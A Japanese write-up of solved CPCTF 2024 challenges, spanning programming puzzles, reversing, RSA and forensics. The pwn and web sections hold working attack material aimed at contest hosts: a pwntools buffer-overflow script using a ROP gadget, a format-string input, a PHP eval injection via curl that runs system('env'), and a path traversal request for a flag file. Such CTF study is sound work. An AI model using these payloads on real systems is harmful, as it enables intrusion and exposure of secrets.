CPCTF 2024 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
この大会は個人戦。結果は1258点で155チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

netcat (Shell, NEWBIE)

$ nc shell-netcat.web.cpctf.space 30010     
CPCTF{nc_means_netcat}
CPCTF{nc_means_netcat}

veeeeeeery long text (Shell, EASY)

$ ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011
The authenticity of host '[veeeeeeery-long-text.web.cpctf.space]:30011 ([160.251.173.212]:30011)' can't be established.
ED25519 key fingerprint is SHA256:Yvdru5SCX5nmOaDr1cJTqK8rjP6vLZfEaEtkRncV+Uc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[veeeeeeery-long-text.web.cpctf.space]:30011' (ED25519) to the list of known hosts.
user@veeeeeeery-long-text.web.cpctf.space's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 20 13:52:44 2024 from 106.154.142.142
$ ls
flag.txt
$ cat flag.txt | grep CPCTF
CPCTF{p1pe_15_u5efu1}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
CPCTF{p1pe_15_u5efu1}

About half (PPC)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
飴が全部で A+B 個あって、Aliceに A 個、Bobに B 個分けました。
AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 2 倍より大きいとき、分け方に文句を言います。
この分け方にAliceもBobも文句を言わないかどうか判定をしてください。

制約
・入力はすべて整数
・1≤A,B≤500

入力
入力は以下の形式で標準入力から与えられる。

A B

出力
AliceもBobも文句を言わないならばYes、AliceとBobのどちらかでも文句を言うならばNoを出力してください。

以下のプログラムで、通った。

a, b = map(int, input().split())
if a > b * 2:
    print('No')
elif b > a * 2:
    print('No')
else:
    print('Yes')
CPCTF{n07_h41f}

Compound Word (PPC, NEWBIE)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
N 個の文字列 S1, S2 , ⋯,SN が与えられる。
これらの文字列のうち、異なる二つの文字列 Si, Sj を選び、Si Sj の順につなげた文字列を T をします。
この時、T としてあり得る文字列は何通りあるか求めてください。

制約
・N は整数
・2≤N≤50
・Si は英小文字からなる文字列
・1≤∣Si∣≤100
・Si ≠ Sj (i ≠ j)
・∑ | Si | ≤ 300

入力
入力は以下の形式で標準入力から与えられる。

N
S1 
⋮
SN
​
出力
答えを出力せよ。

以下のプログラムで、通った。

import itertools

N = int(input())
words = []
for _ in range(N):
    word = input()
    words.append(word)

str_list = []
for c in itertools.permutations(words, 2):
    s = ''.join(c)
    str_list.append(s)

ans = len(set(str_list))
print(ans)
CPCTF{Set_is_Useful_ki70v9354v7onymw}

mokomoko(OSINT, NEWBIE)

画像検索すると、以下のぺージが見つかる。

https://weathernews.jp/s/topics/201810/180115/

ひたち海浜公園の電話番号は029-265-9001。

CPCTF{0292659001}

Attack! Attack! Win! (Pwn, NEWBIE)

$ nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x55eba06a1070
Heal       : 0x55eba06a1078
HocusPocus : 0x55eba06a1080
win        : 0x55eba06a1058

このメモリの状況から、1がAttack、2がHeal、3がHocusPocusで、Atackより3小さい数字である-2を指定すればwinが実行されることがわかる。

YourHP:50
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

-2

You got the flag!
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}
YourHP:0
enemyHp:100

You lose...
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}

CPCT...... (Pwn, EASY)

FSBを使い、5文字以上の長さを取るようにする。

$ nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%64x
Thank you!
Your input:                                                        c4fd6a80
Length: 64
This is your reward!
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}

The sky's the limit (Pwn, EASY)

BOFでwin関数をコールすればよい。ただし、strlenで長さのチェックがあるので、途中"\x00"を入れ、入力文字列の長さを偽装する。

$ ROPgadget --binary chall | grep ": ret" 
0x000000000040101a : ret
from pwn import *

if len(sys.argv) == 1:
    p = remote('the_skys_the_limit.web.cpctf.space', 30007)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 15
payload += b'\x00' * (24 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to the_skys_the_limit.web.cpctf.space on port 30007: Done
[*] '/media/sf_Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x89\x12@\x00\x00\x00\x00\x00'
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}Segmentation fault (core dumped)
[*] Closed connection to the_skys_the_limit.web.cpctf.space port 30007
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}

peeping (Binary, NEWBIE)

$ strings chall | grep CPCTF    
CPCTF{b3_4_cLa1rv0yANt}
CPCTF{b3_4_cLa1rv0yANt}

Just reversing? (Binary, EASY)

flagの各インデックスのASCIIコード(chr)に対して以下のように暗号化している。

flag_enc[strlen(flag) - i - 1] = chr / 16 + chr % 16 * 16;

逆算し、復号する。

#!/usr/bin/env python3
with open('flag_enc.txt', 'rb') as f:
    enc = f.read()

flag = ''
for i in range(len(enc)):
    c = enc[len(enc) - i - 1]
    flag += chr((c % 16) * 16 + (c // 16))
print(flag)
CPCTF{l17Er4llY_r3vErs1nG}

Number Guesser (Binary, EASY)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Guess the number!");
  __isoc99_scanf(&DAT_00102016,&local_1a);
  if (((((char)local_1a == '1') && (local_1a._1_1_ == '7')) && (local_1a._2_1_ == '7')) &&
     (((local_1a._3_1_ == '0' && (local_1a._4_1_ == '4')) && (local_1a._5_1_ == '\0')))) {
    printFlag(&local_1a);
  }
  else {
    puts("Wrong...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

番号は17704を指定すればよい。

$ ./chall    
Guess the number!
17704
CPCTF{l4Ck3Y_NuMb3R!}
CPCTF{l4Ck3Y_NuMb3R!}

Typing game (Web, NEWBIE)

タイピングを10秒以内に行えば、フラグが表示されるようだ。
https://typing-game.web.cpctf.space/main.jsを見ると、以下のように書いてあった。

document.getElementById("flag").textContent = "CPCTF{y0u_4r3_4_typ1ng_m45t3r}";
CPCTF{y0u_4r3_4_typ1ng_m45t3r}

Let's buy some array (Web, EASY)

evalを使って結果を表示しているので、コマンドインジェクションを行う。

$ curl https://lets-buy-some-array.web.cpctf.space/purchase.php -d 'quantity1=system("env");1&quantity2=1&quantity3=1'
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>system("env");1</td>
                    <td>APACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}</td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td>1</td>
                    <td>2000</td>

                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td>1</td>
                    <td>1500</td>
                </tr>
            </table>
            <p>合計金額はAPACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p>
        </form>
    </body>
</html>

環境変数のFLAGにフラグが設定されていた。

CPCTF{3x3c_Func710n_1s_d4ng3r0u5}

Read Novels (Web)

パストラバーサルでflagファイルを読み取る。

$ curl https://read-novels.web.cpctf.space/novel?name=../flag                                                         
<!DOCTYPE html>
<html>
  <head>
    <title>../flag</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>../flag</h1>
    CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
  </body>
</html>
CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}

white has much information (Forensics, EASY)

Whitespace言語。https://www.dcode.fr/whitespace-languageで読み取る。

CPCTF{C4n_y0u_533_7h15?}

Substitution (Crypto, NEWBIE)

換字式暗号と推測し、quipqiupで復号する。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{hello_crypto_world}
CPCTF{hello_crypto_world}

RSA Trial (Crypto, EASY)

hint = p ** 3 + q ** 3
     = (p + q) ** 3 - 3 * p * q * (p + q)
     = (p + q) ** 3 - 3 * n * (p + q)

p + q = xとすると、xの3次方程式になり、p + qを求めることができる。
phiは以下のように計算し、求めることができる。

phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
    = n - (p + q) + 1

phiがわかれば、dを算出でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.py', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])
hint = int(params[3].split(' ')[-1])

x = sympy.Symbol('x')
eq = x ** 3 - 3 * n * x - hint
xs = sympy.solve(eq)
for x in xs:
    if x.is_Integer:
        x = int(x)
        break

phi = n - x + 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{Equ47i0n5_4r3_v3ry_h31pfu1}